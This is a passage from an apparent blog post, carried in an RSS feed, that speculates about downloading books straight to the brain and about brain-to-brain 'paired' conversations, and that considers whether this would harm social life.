<p>Imagine reading an entire book by <em><strong>digitally downloading it to your brain with a click of a button</strong></em>, saving you -probably an entire month- of time!</p>
<h2 id="whataboutsociallife">What about social life?</h2>
<p>People would still be having conversations, just faster. Imagine that people would kind of &quot;<a href="https://www.wikiwand.com/en/Bluetooth#/Pairing_and_bonding">pair</a>&quot; initially, and then after the connection has been established, they can freely <em>think</em> what's on their mind to the other person, having conversations in a blitz of a second.</p>
<p>Still, people would disagree and believe this is turning us more inhumane than we already are (with smartphones in our hands all the time). I would disagree with that theory as well, maybe not for every day conversations, but maybe for knowledge sharing or learning (the book example).</p>
<p>Seeing where technology is going right now, I believe this is very plausible in the near future.</p>
</div>]]></content:encoded></item></channel></rss>